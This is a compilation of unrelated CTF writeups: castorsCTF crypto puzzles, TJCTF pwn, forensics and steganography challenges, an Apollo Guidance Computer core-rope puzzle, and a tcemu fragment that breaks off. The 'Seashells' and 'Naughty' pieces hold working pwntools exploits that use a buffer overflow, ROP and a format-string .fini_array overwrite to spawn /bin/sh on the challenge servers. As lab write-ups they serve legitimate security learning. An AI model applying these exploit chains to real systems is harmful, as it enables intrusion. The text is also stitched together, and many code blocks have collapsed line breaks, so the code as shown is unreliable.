## AmazonChallange Description:```Are you watching the new series on Amazon?198 291 575 812 1221 1482 1955 1273 1932 2030 3813 2886 1968 4085 3243 5830 5900 5795 5628 3408 7300 4108 10043 8455 6790 4848 11742 10165 8284 5424 14986 6681 13015 10147 7897 14345 13816 8313 18370 8304 19690 22625```Description gaves two hints. One is ```prime``` other is ```series```. Write a script to divide every number to the prime number which has the same index.
```pythonimport string
numbers = ['198', '291', '575', '812', '1221', '1482', '1955', '1273', '1932', '2030', '3813', '2886', '1968', '4085', '3243', '5830', '5900', '5795', '5628', '3408', '7300', '4108', '10043', '8455', '6790', '4848', '11742', '10165', '8284', '5424', '14986', '6681', '13015', '10147', '7897', '14345', '13816', '8313', '18370', '8304', '19690', '22625']
primes = ["2","3","5","7", "11","13","17","19", "23","29","31","37", "41","43","47","53", "59","61","67","71", "73","79","83","89", "97","101","103","107", "109","113","127","131", "137","139","149","151", "157","163","167","173", "179","181"]
parts = []
for i in range(len(numbers)): parts.append(int(numbers[i]) // int(primes[i]))
flag = ""for part in parts: print(chr(part), end="")```And the flag is:```castorsCTF{N0_End_T0d4y_F0r_L0v3_I5_X3n0n}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb## 0x101 DalmatiansChallange Description:```Response to Amazon: Nah, I only need to be able to watch 101 Dalmatians.
c6 22 3d 29 c1 c5 9c f5 85 e7 d7 0e 46 e6 21 e7 dd 8d db 43 a0 34 77 04 7f 32 13 8c c9 01 65 78 5f c0 14 8e 33 bf bc 02 21 79 e1 5d d3 46 e0 ca ee 72 c2 26 38```Challange says it response to Amazon so it should be again about prime series.
```pythonprimes = ["2","3","5","7","11","13","17","19","23","29","31","37","41","43","47","53","59","61","67","71","73","79","83","89","97","101","103","107","109","113","127","131","137","139","149","151","157","163","167","173","179","181","191","193","197","199","211","223","227","229","233","239","241","251","257"]
all_ct = "198 34 61 41 193 197 156 245 133 231 215 14 70 230 33 231 221 141 219 67 160 52 119 4 127 50 19 140 201 1 101 120 95 192 20 142 51 191 188 2 33 121 225 93 211 70 224 202 238 114 194 38 56".split()
alphabet = ["}","{","c","w","e","r","t","y","u","ı","o","p","a","s","d","f","g","h","j","k","l","i","z","x","q","v","b","n","m","Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M","_","1","2","3","4","5","6","7","8","9","0"]
prime = primes[0]mod = 0x101
def bf(): for i in range(53): ct = all_ct[i] for b in primes: for u in alphabet: if ord(u) * int(b) % mod == int(ct): if primes.index(b) == i: print(u, end="") bf()```Output:```castorsCTF{1f_y0u_g07_th1s_w1th0u7_4ny_h1n7s_r3sp3c7}```Authors: * https://github.com/ahmedselim2017* https://github.com/zeyd-ilb |
# TJCTF – Seashells
* **Category:** binary* **Points:** 50
## Challenge
> I heard there's someone selling shells? They seem to be out of stock though...>> Attachments:> > binary> >> > nc p1.tjctf.org 8009## Solution
first thing we do is disassemble the binary, we have to interesting functions :

we can see that the main function is using gets for input (which is a dumb move :P)
and also the shell function which is never called checks an argument then pops a shell
so we conclude that we can use ROP (since its a 64bit binary) to exploit it using this chain :
```pop rdi0xDEADCAFEBABEBEEFshell```
which is a very simple chain, I wrote a script to help automate the process : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/seashells/solve.py)
tada :```tjctf{she_s3lls_se4_sh3ll5}```
> P.S : had to do repeat the rop chain two times to make it work still don't know why XD |
# INDEX---
Writeups for recent ctfs, check out [upcoming CTF's](https://ctftime.org/event/list/upcoming).
## >> [FWORD-20](./fword-20/)
## >> [ASCW-20](./cyberwar/README)
## >> [csictf-20](./csictf-20/README)
## >> [zh3r0-20](./zh3r0-20/z)
## >> [cyberCastor-20](./cyberCastor-20/cybercastors)
## >> [nahamcon-20](./nahamcon-20/README)
## >> [noob-20](./noobctf-20/noob)
## >> [ractf-20](./ractf-20/ractf)
## >> [hsctf-20](./hsctf-20/hsctf)
{% include disqus.html %}
|
Write-up on our wonderful website: [https://reveng-ctf.com/crypto/pwn2win-androids-encryption.html](https://reveng-ctf.com/crypto/pwn2win-androids-encryption.html) |
# Hexillogy
> I recently designed a new flag for my imaginary nation, Hexistan. Do you like it?

## Solution
From the name of the challenge, we guess the flag is encoded in the colors of the image. So I open my favorite editor (such as [Gimp](https://www.gimp.org/downloads/)) and use the color picker to get the hex encoded color values.

Then I put them in [asciitohex](https://www.asciitohex.com/) and here is the flag.
Flag: `tjctf{pYJrfQK0dbaTPG}` |
# Seashells
> I heard there's someone selling shells? They seem to be out of stock though...> > nc p1.tjctf.org 8009
Attached is a binary.
## Description
First we use `checksec` to see which security features are enabled. There is no PIE, nor canary, so exploit will probably be easy. Let's decompile the code using Ghidra.
```cundefined8 main(void){ int iVar1; char local_12 [10]; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Welcome to Sally\'s Seashore Shell Shop"); puts("Would you like a shell?"); gets(local_12); iVar1 = strcasecmp(local_12,"yes"); if (iVar1 == 0) { puts("sorry, we are out of stock"); } else { puts("why are you even here?"); } return 0;}```
So here is our buffer overflow: it only uses the `gets` function which performs no boundary check.
Moreover, we see a function `shell`:
```c
void shell(long param_1)
{ if (param_1 == -0x2152350145414111) { system("/bin/sh"); } return;}```
Easily enough, we have the call to system. No PIE means we can know the address of `shell` on the server, so the exploit is quite straightforward.
## Solution
With `gdb` we retrieve the address of the instructions corresponding to `system("/bin/sh");` (we bypass the if statement), overflow the buffer and jump there.
To find the offset, we also use gdb, filling the buffer with a cyclic pattern and verify where we jump.
```pythonfrom pwn import *
sh = remote("p1.tjctf.org", 8009)
shell_addr = 0x00000000004006e3offset = 18
sh.recvuntil("hell?")payload = b'a'*offset + p64(shell_addr) + b'\x00'sh.sendline(payload)
sh.interactive()```
Flag: `tjctf{she_s3lls_se4_sh3ll5}`
|
# Unimportant
> It's probably at least a bit important? Like maybe not the least significant, but still unimportant...
Attached is an image and the following Python code:
```python#!/usr/bin/env python3
from PIL import Imageimport binascii
def encode(img, bits): pixels = img.load() i = 0 for x in range(img.width): for y in range(img.height): pixel = pixels[x,y] pixel = (pixel[0], pixel[1]&~0b10|(bits[i]<<1), pixel[2], pixel[3]) pixels[x,y] = pixel i += 1 if i == len(bits): return
img = Image.open("source.png")
with open("flag.txt", "rb") as f: flag = f.read()binstr = bin(int(binascii.hexlify(flag), 16))bits = [int(x) for x in binstr[2:]]
encode(img, bits)
img.save("unimportant.png")```
## Description
Well as the source is given, this challenge looks more like a reversing challenge than a forensics one. We get a source image and a flag, and the flag is encoded into the image. We just need to reverse it.
## Solution
Each bit of the flag is encoded in the pixel 1 of the image with the following formula:
```pythonencoded[i] = pixel[i][1]&~0b10|(bits[i]<<1)```
Meaning it is encoded in the second least significant bit. I'm just reusing their code to get the flag.
```pythonfrom PIL import Image
def decode(img, size): pixels = img.load() bits = [] i = 0 for x in range(img.width): for y in range(img.height): pixel = pixels[x,y] bits.append((pixel[1]&0b10)>>1) i += 1 if i == size: return bits
img = Image.open("unimportant.png")# Bruteforce the offsetfor offset in range(0, 4): bits = decode(img, 400+offset) bits_str = "".join(str(c) for c in bits) bits_int = int(bits_str, 2) bits_hex = hex(bits_int) if bits_hex[2:4] == "74": # This is a t print(bytes.fromhex(bits_hex[2:2*(len(bits_hex)//2)]))```
Flag: `tjctf{n0t_th3_le4st_si9n1fic4nt}`
|
> Written by **lighthouse64**> > Your friend was trying to send you the stuff that he did for your group project, but the data mysteriously got [corrupted](https://static.tjctf.org/dc3b12c1155ea3c09800ebec00f8d31498af64fe6f76e0c75a552ff2c75cc762_corrupted_project). He said his computer got infected before he was able to send it. Regardless of what happened, you need to fix it or you won't be able to complete the project.
This chall is actually pretty simple but the zip archive's messed up structure works kind of as a misdirection. The zip structure tells where the archived file starts and ends.
Here is a very nice zip file reference documentation: https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
The bytes in the range 001A:001D store the archived filename's length and some extra fields after it:
00000000: 2e4b 0304 1e03 8200 3f12 339f b250 ea54 .K......?.3..P.T 00000010: 882e 7d0a 0000 f40a 0000 1100 1c00 7072 ..}...........pr 00000020: 6f6a 6563 742d 6669 6c65 732e 7a69 7055 oject-files.zipU 00000030: 5409 0003 f220 c35e ea24 c35e 7578 0b00 T.... .^.$.^ux.. 00000040: 0104 e803 0000 04e8 0300 0042 5a65 390c ...........BZe9.
filename length: 0x0011 = 17 bytes extra field length: 0x001C = 28 bytes
So the archived file starts at 004B:
0000004b: 425a 6539 0c2a 12f9 7be9 4d9e 3789 0001 BZe9.*..{.M.7...
... and it's a bzip2 archive file header. We have it's beginning now let's find it's end.
A zip archive has two structures at it's end, the Central Directory Record (CDR) and the CDR End. Just before the CDR is the end of the archive's packed data. A zip file signature and it's internal headers all start with 0x504B ("PK") and has 4 bytes in total, being:
0x504B0304: local file header (one for each file in the archive) 0x504B0102: CDR 0x504B0506: CDR End
As there's only one local file header things get easier. We get all the bytes from 004B (75 bytes) to the ones before 0x504B0102, which is at 0x0AC7.
$ dd bs=1 skip=75 count=2759 if=dc3b12c1155ea3c09800ebec00f8d31498af64fe6f76e0c75a552ff2c75cc762_corrupted_project of=project-files.bz2
The bzip2 documentation is very scarce and our best shot is in the Wikipedia: https://en.wikipedia.org/wiki/Bzip2#File_format
This is what matters here:
.magic:16 = 'BZ' signature/magic number .version:8 = 'h' for Bzip2 ('H'uffman coding), '0' for Bzip1 (deprecated) .hundred_k_blocksize:8 = '1'..'9' block-size 100 kB-900 kB (uncompressed) .compressed_magic:48 = 0x314159265359 (BCD (pi)) .crc:32 = checksum for this block
Going each header part at a time, without touching CRC complicated stuff, it goes from this:
00000000: 425a 6539 0c2a 12f9 7be9 4d9e 3789 0001 BZe9.*..{.M.7...
to this:
00000000: 425a 6839 3141 5926 5359 4d9e 3789 0001 BZh91AY&SYM.7...
In challenges like this it's very useful if you create a file yourself to check how a valid file is structured and it's values.
Ok, so now we can open the project-files.bz2 archive, extract the `project-files` file and extract its content too. It is 3 PNG files, one of which (project-notes-1.png) is messed up. When this file is open in a hex editor, we get a cry for help:
$ xxd project-notes-1.png | head 00000000: 4845 4c50 0d0a 1a0a 0000 000d 4948 4452 HELP........IHDR
... and we replace it with the correct 0x89504E47 value:
$ xxd project-notes-1.png | head 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
Here's the flag:> tjctf{plz_dont_procrastinate}
|
# TJCTF 2020
## Naughty
> 100>> Santa is getting old and can't tell everyone which list they are on anymore. Fortunately, one of his elves wrote a [service](naughty) to do it for him!> > `nc p1.tjctf.org 8004`>> Written by KyleForkBomb
Tags: _pwn_ _x86-64_ _remote-shell_ _format-string_ _libc_ _write-what-where_ _dtors_
## Summary
Format string vulnerability where second pass is achieved by overwriting `.fini_array` (DTORS).
> detour: a long or roundabout route that is taken to avoid something or to visit somewhere along the way.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)```
GOT wide open. Stack protection. No shellcode. No PIE--easy ROP.
### Decompile with Ghidra

The principal vulnerability is a missing `printf` _format string_ (line 37). With this we can leak the stack and discover things like the address of libc, the base process address (no PIE, so no worries), the address of the stack, uninitialized variables, canaries, etc...
We can also write out arbitrary values to just about anywhere there's a RW segment--if you know where and what to write.
The problem is, there's only the one vulnerable `printf` at line 37. There's no loop, no second chances.
My first thought was to repurpose the GOT, but that `printf` is _last call_. Unless, I can cause a stack check fail with a buffer overflow, but lines 9 and 35 are not vulnerable.
> Note to self, can corrupt canary with format string.
I read the `printf` man page end-to-end. Its been a while and it's a pretty dry read.
_think, goddamnit_
Finally I decided to go back to the source, the first place I read formally about format string vulnerabilities: [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf).
_nod nod nod yep yep yep uh-huh uh-huh uh-huh ... wait!_

> Now I've tried this path before but, IIRC, it was not an option because it was in a RO segment, again, IIRC.
Looking with Ghidra there is no `.dtors`, however there is a `.fini_array` (descendent of `.dtors`--the aforementioned paper is from 2001) and, well, see for yourself:

For a PoC, from within GDB, I just overwrote `.fini_array` with the address of `main` and when the program exited I scored a free ride. The rest should be downhill from here.
### Discovery
I used an Ubuntu 18 container. Ubuntu 18.04 was consistently used for the other (TJCTF) binary challenges. At least for the machines I checked (when you get a flag, hangout for a while, poke around, see what you can see :-).
> I've been screwed in the past using 19 with hardcoded stack parameter offsets just to have the remote server fail. Best to have a close match.
If you want to follow along, start up GDB, load up `naughty`, set a breakpoint for the last `printf` statement (`b *main+249`), run, and dump the stack:
> Output from GDB (with [GEF](https://gef.readthedocs.io/en/master/)), however I added the first column for illustration purposes.
``` 0xffffd570│+0x0000: 0xffffd58c → "blah\n" ← $esp01: 0xffffd574│+0x0004: 0x0000010002: 0xffffd578│+0x0008: 0xf7faa5c0 → 0xfbad2288 <---------------- _IO_2_1_stdin_ (0xf7faa5c0)03: 0xffffd57c│+0x000c: 0x08048550 → <main+26> add ebx, 0x175404: 0xffffd580│+0x0010: 0xf7ddf438 → 0x00002dfe05: 0xffffd584│+0x0014: 0x0000093c ("<\t"?)06: 0xffffd588│+0x0018: 0xf7ddfcc8 → 0x7264780007: 0xffffd58c│+0x001c: "blah\n"08: 0xffffd590│+0x0020: 0xffff000a → 0x0000000009: 0xffffd594│+0x0024: 0xffffd5e0 → 0x0000000010: 0xffffd598│+0x0028: 0x0000000311: 0xffffd59c│+0x002c: 0x0000000012: 0xffffd5a0│+0x0030: 0xf7ffd000 → 0x00026f3413: 0xffffd5a4│+0x0034: 0xf7ddfcc8 → 0x7264780014: 0xffffd5a8│+0x0038: 0xf7dd6012 → 0x15d5a52915: 0xffffd5ac│+0x003c: 0xf7ddf438 → 0x00002dfe16: 0xffffd5b0│+0x0040: 0xf63d4e2e17: 0xffffd5b4│+0x0044: 0x0804829c → "__libc_start_main"18: 0xffffd5b8│+0x0048: 0x07b1ea7119: 0xffffd5bc│+0x004c: 0xffffd664 → 0xf7faa000 → 0x001d7d6c <- stack address (0xffffd664)20: 0xffffd5c0│+0x0050: 0xffffd5e4 → 0x00000000```
The second parameter did not disappoint; `%2$p` holds the return the address of `_IO_2_1_stdin_`. We have libc.
However, best to double check from GDB:
```gef➤ disas 0xf7faa5c0Dump of assembler code for function _IO_2_1_stdin_: 0xf7faa5c0 <+0>: mov BYTE PTR [edx],ah... ```
Looking down stack at `%19$p` is an address relative to the stack (`0xffffd664`)--save this for later.
Next, overwrite `.fini_array` for a second pass at the format string vulnerability:
> With _No PIE_, the addresses will be static and can be obtained from Ghidra, `objdump`, etc... (see above).
```gef➤ x/1wx 0x08049bac0x8049bac: 0x8048500gef➤ set {int}0x08049bac = maingef➤ x/1wx 0x08049bac0x8049bac: 0x8048536```
Then `continue` and `ni` until you get to:
``` → 0x8048656 <main+288> ret```
Checking the stack, the return address should be returning code execution to `_dl_fini_`: ```0xffffd5cc│+0x0000: 0xf7fe5b9a → <_dl_fini+490> sub esi, 0x4 ← $esp```
Using the leaked stack address (`%19$p`) and return address, compute the offset:
```gef➤ print 0xffffd664 - 0xffffd5cc$1 = 0x98```
We have all the bits we need.
_Naughty list, here I come._
## Exploit
### Attack Plan
1. Gain a second pass while leaking libc and stack addresses2. Get a shell, get the flag
### Gain a second pass while leaking libc and stack addresses
```python#!/usr/bin/python3
from pwn import *
#p = process('./naughty')#libc = ELF('/lib/i386-linux-gnu/libc.so.6')p = remote('p1.tjctf.org', 8004)libc = ELF('libc-database/db/libc6-i386_2.27-3ubuntu1_amd64.so')
binary = ELF('./naughty')fini_array = binary.get_section_by_name('.fini_array').header.sh_addr
### 1st passp.recvuntil('What is your name?')
payload = b''payload += b'%' + str((binary.symbols['main']) & 0xFFFF).rjust(6,'0').encode() + b'x'payload += b'%14$hn 'payload += b'%2$p'payload += b' %19$p 'payload += p32(fini_array)
p.sendline(payload)```
From the stack output above (look for the 2nd `blah`), the format string starts at parameter 7.
The payload only has to overwrite the lower 16-bits of `.fini_array`. Parameters 7 and 8 will instruct `printf` to emit `34102` (`binary.symbols['main']) & 0xFFFF`) bytes, while incrementing an internal `printf` counter, that will then be stored at the address from parameter 14 (the address to `.fini_array`).
> We have to be careful to keep our format string addresses aligned with the stack, hence some of the clumsy padding. It is also a good idea to put all the addresses at the end of the string in case they have nulls. Also important to keep the `%n` strings first to make the math easier.
Sandwiched in the middle is the leak for the libc and stack addresses.
This will create a payload that looks something like this:
```%034102x%14$hn %2$p %19$p \xac\x9b\x04\x08```
At the end of the `NAUGHTY LIST` output, collect the leaked libc and stack addresses, then use that to compute the base of libc and the return address needed to overwrite the stack in the second pass:
```p.recvuntil('You are on the NAUGHTY LIST ')_ = p.recvline().strip()[-27:]
_IO_2_1_stdin_ = int(_[:10],16)print('_IO_2_1_stdin_',hex(_IO_2_1_stdin_))baselibc = _IO_2_1_stdin_ - libc.symbols['_IO_2_1_stdin_']print('baselibc',hex(baselibc))
offset = 0x98return_address = int(_[11:21],16) - offsetprint('return_address',hex(return_address))```
However, the version of libc is unknown. This can be solved by using the last three nibbles from `print('_IO_2_1_stdin_',hex(_IO_2_1_stdin_))` and searching the [libc-database](https://github.com/niklasb/libc-database):
```# libc-database/find _IO_2_1_stdin_ 5c0 | grep 386archive-old-glibc (id libc6-i386_2.26-0ubuntu2.1_amd64)archive-old-glibc (id libc6-i386_2.26-0ubuntu2_amd64)http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6-i386_2.27-3ubuntu1_amd64.deb (id libc6-i386_2.27-3ubuntu1_amd64)archive-old-glibc (id libc6-i386_2.28-0ubuntu1_amd64)http://http.us.debian.org/debian/pool/main/g/glibc/libc6-i386_2.28-10_amd64.deb (id libc6-i386_2.28-10_amd64)archive-old-glibc (id libc6-i386_2.29-0ubuntu2_amd64)archive-old-glibc (id libc6_2.26-0ubuntu2.1_i386)archive-old-glibc (id libc6_2.26-0ubuntu2_i386)http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.27-3ubuntu1_i386.deb (id libc6_2.27-3ubuntu1_i386)archive-old-glibc (id libc6_2.28-0ubuntu1_i386)http://http.us.debian.org/debian/pool/main/g/glibc/libc6_2.28-10_i386.deb (id libc6_2.28-10_i386)archive-old-glibc (id libc6_2.29-0ubuntu2_i386)```
That's a few more candidates than usual. No worries, just test them one by one. The 3rd down was a hit. You can verify when computing the base of libc, it should end in `000`. But, the real test will be if `system` also can be called.
### Get a shell, get the flag
```python### 2nd passp.recvuntil('What is your name?')
binsh = baselibc + next(libc.search(b"/bin/sh"))system = baselibc + libc.symbols['system']
words = {}words[system & 0xFFFF] = return_addresswords[system >> 16] = return_address + 2words[binsh & 0xFFFF] = return_address + 8words[binsh >> 16] = return_address + 10
n=0; q=7+16; payload = b''for i in sorted(words): payload += b'%' + str(i-n).rjust(6,'0').encode() + b'x' payload += b'%' + str(q).rjust(4,'0').encode() + b'$hn' n += (i-n) q += 1
for i in sorted(words): payload += p32(words[i])```
With the return address stack location in hand, and the base of libc known, just construct a payload to call `system` with a pointer to `/bin/sh`.
> See [dorsia3](https://github.com/datajerk/ctf-write-ups/blob/master/wpictf2020/dorsia3/README.md) for a detail explanation of how this format string is constructed.
> Optionally `one_gadget` could probably be used, but the above is portable and a bit more surgical, IMHO.
Get a shell, get the flag:
```p.sendline(payload)p.recvline()p.interactive()```
Output:
```# ./exploit.py[+] Opening connection to p1.tjctf.org on port 8004: Done[*] '/pwd/datajerk/tjctf2020/naughty/libc-database/db/libc6-i386_2.27-3ubuntu1_amd64.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/tjctf2020/naughty/naughty' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)_IO_2_1_stdin_ 0xf7fc05c0baselibc 0xf7deb000return_address 0xffd74a3c[*] Switching to interactive modeYou are on the NAUGHTY LIST 00000[many, many zeros removed]00000$$ cat flag.txttjctf{form4t_strin9s_ar3_on_th3_n1ce_li5t}``` |
# SummaryThe '1201 Alarm' challenge listed a server and port number only, with no other files or resources. Upon connecting to the port, it gave a message that the pi constant had accidentally been modified in the core rope of an Apollo Guidance Computer, and listed a port to connect your DSKY to. The challenge was to locate the modified constant, and enter the value of it into the console.
# Tools/Infrastructure
Our team has a couple servers we use as a launching point for CTF work, and these have TigerVNC set up so that we can connect in using a VNC client to run X apps in situations like this one where we need a GUI.
The challenge listed that we should be thankful for Virtual AGC, and when connecting to the server using netcat it gave an IP and port to connect your DSKY to, so I got that installed before starting.
No other tooling was required, but since this CTF required submitting a token before connecting to a challenge, I used a simple Ruby script that submitted the token, retrieved the IP and port number for the DSKY connection, then launched yaDSKY with that connection setup. This made the iterative process much less painful than having to manually launch everything every 5 minutes after the connection timed out.
# Preface
A few terms that will get used throughout this writeup, before we start. The AGC was the Apollo Guidance Computer, which was used for guidance and navigation guidance during the Apollo missions. The DSKY (DiSplay/KeYboard, usually pronounced "disk-ee") is the user interface module for this system, whereas the AGC is the computer itself. The ROM for the AGC uses core rope which is a system where wires are wound through or around magnetic cores to encode information. References to core rope throughout this writeup can be read as 'ROM', as in this system the two terms are essentially interchangable.
Being a very early computer system, the AGC has some conventions that are unusual to those used to more modern computers. Words are 15-bits wide, stored in hardware as 16 bits plus a parity bit, for example, and most numbers are represented in octal rather than hexadecimal like we're more used to now. All numbers in this writeup will be in octal unless otherwise specified.
# Phase 1 - Discovery
To start off, I connected to the provided IP/port with netcat to see what the challenge was in the first place. It explained that the core rope in an Apollo AGC had "had a tangle" and the pi constant was stored in it incorrectly. It listed an IP and port to connect your DSKY to.
I knew vaguely how the AGC/DSKY worked, but didn't know any specific key sequences or anything beyond that it used "verbs" and "nouns" as a command system. The server I connected to initially mentioned it was using the Comanche 055 software (which was used for the Command Module during Apollo 11), so I googled this and found a quick reference on the main Virtual AGC page which, while not quite for the same revision and code this was based on, I figured would be a good starting point.
I connected yaDSKY from the Virtual AGC package to the IP and port given, and keyed in the sequence for a Lamp Test (VERB 35 ENTER). The proper sequence of lamps began to light and flash, confirming communication between the server and my DSKY was working fine and that the instructions I had found were at least somewhat applicable to Comanche 055.
Now that I had the infrastructure set up and some basic documentation about what I needed to do, I keyed in what should have been the Examine Core Rope command to see if it gave reasonable-looking output (which would help confirm that this command was also valid on the platform I was on). Keying in VERB 27 NOUN 02 12345 ENTER, the R1 display lit up with 5 octal digits which is exactly what should happen when you request a core rope word be examined.
# Phase 2 - Plan A
I had connectivity and a very basic understanding of the commands I'd need to use, so moved on to trying to understand which words in the core rope I needed to examine. These would be the ones where pi was stored, but I didn't know where in memory this was. Pi is actually stored as PI/16 on the AGC, due to the specifics of how non-integer numbers are stored internally.
Looking through the Virtual AGC software package, I found that the Comanche 055 source code was all included. Grepping through this source showed that PI/16 was in the TIME_OF_FREE_FALL module, stored as type 2DEC. I didn't understand anything about how floating point was represented on this platform and since it's from so early in computing, things about it don't fit with how we're used to them working these days. Some research on the Virtual AGC site showed that 2DEC is double-precision floating point, stored as two 15-bit words in the core rope.
It felt like it should be pretty straightforward at this point, just look through the code to see where that is stored, and ask the AGC/DSKY for the values at that location! It turned out to be somewhat less straightforward, as it often does in CTFs. The constant was in a section of the source code that started with:
BANK 32 SETLOC TOF-FF1 BANK
From reading the documentation, my understanding is that this moves the point that instructions are being assembled to next around a few times. The first instruction means "move to the first unused location in bank 32", then "move to location TOF-FF1", then "move to the first unused location in the current bank". Why do three moves in a row with nothing between them? The first line on its own made sense to me, and the last two together make sense to me, but all 3 together didn't. I'm sure there's a good reason for it, but I'm still not sure what that is.
# Phase 2.5 - Plan B
I decided that I'd spent enough time trying to figure it out from that angle, and it was time to switch to a different strategy. The first phase of building the Comanche 055 system is that the toolchain turns the directory full of .agc files into a single ~83,000 line .lst file, with everything contained in it for the whole system. Looking through this file I found the PI/16 constant with some extra information added in, which I assumed was probably related to addressing:
060455,000703: 27,3355 06220 37553 PI/16 2DEC 3.141592653 B-4
PI/16 was the constant name, 2DEC is the type, and 3.141592643 B-4 is the value. Presumably some of the numbers before PI/16 are address information, but which ones? I spent close to an hour looking through the documentation and various source files to try to figure it out, but wasn't able to sort it out in a reasonable amount of time.
At this point I was spinning my wheels on plan B too. I was sure I could figure out how the addressing was represented if I spent a more time looking through the documentation and maybe the source code for the assembler if that failed, but I only had about two hours left in the CTF at this point. Time to move to plan C...
# Phase 2.75 - Plan C
...which didn't exist yet. When I get stuck like this, I try and take a step back and look over all the resources I've collected so far to come up with a new direction to move in. In this case I looked through the files I had available in the Comanche 055 directory after building Virtual AGC, hoping to find something that gave me a new idea. There was a file named Comanche055.binsource that looked interesting, it seemed to be 8 groups of octal words per line, and based on the name it seemed like this was likely the intermediate file generated before generating the raw binary output.
Thinking more about how this file might be useful, I realized that if I knew the 2DEC octal representation of pi, I would be able to locate it within this file. Once I had that, if I asked the AGC for data at a few addresses in a row starting from a random point, then searched the binsource file for the data it gave me, I should be able to locate where the address I had entered into the AGC was in this file. At that point, the difference between the two would be the distance to where pi was stored, and I could offset the address I was entering into the AGC by that amount to get PI/16.
I looked at the documentation on how 2DEC represents numbers, but I knew it was going to take me awhile to write a tool to do it. Thinking about it further before I started coding, I realized that the AGC compiler must know how to do it, and the compiler was open source! I hacked in a few extra printf statements to output the decimal and octal equivalents every time it encountered a 2DEC, recompiled Comanche055, and it spit out the octal 2DEC of the accurate pi constant, 06220 37553. As a sidenote, it wasn't until putting this writeup together than I noticed the line from the .lst file above actually includes this information, but I had no way to know what those numbers represented at the time and instrumenting the compiler was the quickest way I could think of to get it.
Now that I knew /what/ pi was, I had to find /where/ pi was. I brought the DSKY back up and asked for the contents of the core rope at a random address, followed by another two addresses after that, writing each value down. Searching the binsource file, I found only one place those three values occurred in a row, which told me where in the binsource file matched up with the address I'd entered into the DSKY/AGC. I did a rough calculation of how far I was from where PI/16 should be, then asked for a few addresses starting at that point:
RESET VERB 27 NOUN 02 ENTER 57361 ENTER [recorded value appearing in R1] 57362 ENTER [recorded value appearing in R1] 57363 ENTER [recorded value appearing in R1]
Searching the binsource for the values I got (37700 00000 00100) back from the AGC, I found that PI/16 should be just few words below where I was looking! I wanted a "window" of values before, within, and after the PI/16 constant so I could be sure I was in the right place. I brought the DSKY back up, asked for the values at core rope locations 57352 to 57363, and got the following:
57352: 06030 57353: 24775 57354: 30424 57355: 01106 57356: 06572 57357: 10012 57360: 37777 57361: 37700 57362: 00000 57363: 00100
Comparing that with the unmodified source, the values at 57352 through 57354 matched, and 57360-57363 matched though offset up by one. 57355-57357 didn't match between the data I was getting back and the binsource. I was a bit confused and honestly discouraged at this point, since I had expected one or two words to have changed, not three!
I spent a few minutes thinking the results over, and noticed that my DSKY had disconnected as it had been doing every 5 minutes due to the timeout on the CTF servers. I reconnected and, just to make sure my confusion wasn't because I had written something down wrong, re-checked the three different values and one on either side to make sure I had them right. Two of the values were different this time, but the others were identical to before. Had I written them down wrong, or did the CTF change the values for every new connection? I disconnected and reconnected a couple more times, writing down the 5 values, and confirmed that only two of the values changed during each connection. Those two values must be PI/16! It turned out to be a good coincidence that the system just happened to time me out when it did.
# Phase 3 - Solving
At this point I had the location where I believed PI/16 was being stored, so all that was left was to ask the DSKY for the values in locations 57356 and 57357, convert this to decimal, multiply it by 16, and enter it into the challenge to obtain the flag. The remaining problem was, I had instrumented the compiler in order to convert decimal input to its 2DEC octal form, but there was no way to do that in reverse. I was very low on time at this point and wasn't confident that I could implement a tool to do the conversion in the time I had left, so I took a step back and re-evaluated what information and tools I had available.
Since Virtual AGC was built from historical specifications and information and attempts to be as accurate as possible, there is a very large validation suite included with it to ensure it acts as the original compilers and systems would have. Given this, I thought that there might be a bit of C somewhere in the validation suite that I could relatively easily pull out and use in my own tool to do the conversion.
As I started looking for any validation tools that I could "take apart", I noticed an executable in the Tools folder called 'checkdec' which seemed promising from the name at least. Upon running it, it informed that it was for converting DEC or 2DEC in either direction between octal and decimal, to validate that the compiler was doing it correctly. Even better than having to put something together myself using bits of their C code!
In theory, using this tool with all the information I now had should make the solve fairly straightforward. I re-connected the DSKY, and keyed in:
RESET VERB 27 ENTER NOUN 02 ENTER 57356 ENTER [wrote down the result, 07457] 57357 ENTER [wrote down the result, 30066]
I then entered the two values that the DSKY had displayed into 'checkdec'. which gave me 0.2372896299. That looked vaguely like what I was looking for, so I multiplied this by 16 (as PI is stored as PI/16) which gave me 3.7966340784, entered that into the netcat session, and out came the flag!
# Lessons Learned
* While I prefer to understand everything I'm looking at, sometimes during a CTF there are faster ways to accomplish a task that don't require as much reviewing of documentation or in-depth learning of a system. I probably would have spent a lot longer trying to find the right documentation that described exactly how addressing information was represented in AGC assembler than it took me to "guess and check" to orient myself in the remote AGC's address space.
* I'm still working on getting myself to step back more often and look at "the bigger picture" when working on things like this, and this challenge reinforced how important that is. If I had kept going with "plan A", I'm not sure I would have found the correct addresses in the amount of time I had. If I had tried to write my own tool to do the conversion, I might not have finished it in time either. By stepping back and re-evaluating when I'm either stuck or about to switch to the next phase of solving, I can see better solutions than if I'd just kept going on the same path.
* Shifting your brain into a 15-bit-wide octal system when you're so used to 8/16/32/64-bit hex, decimal, and binary is hard! I kept getting confused when addresses went from 57357 to 57360 or values rolled over after 77777. |
# SummaryProvided with the 'tcemu' challenge was an executable ('cpu') and a binary file ('flag'). The CPU is an emulator for a (presumably custom) architecture, and the binary file presumably contained the flag somewhere.
# Process1. Ran the 'flag' code on the 'cpu' emulator executable, it outputs "I put the flag here somewhere". Good start, this should make it easier to start to figure out what the CPU is doing since we have some known behaviour we can try to match up with the 'flag' binary.
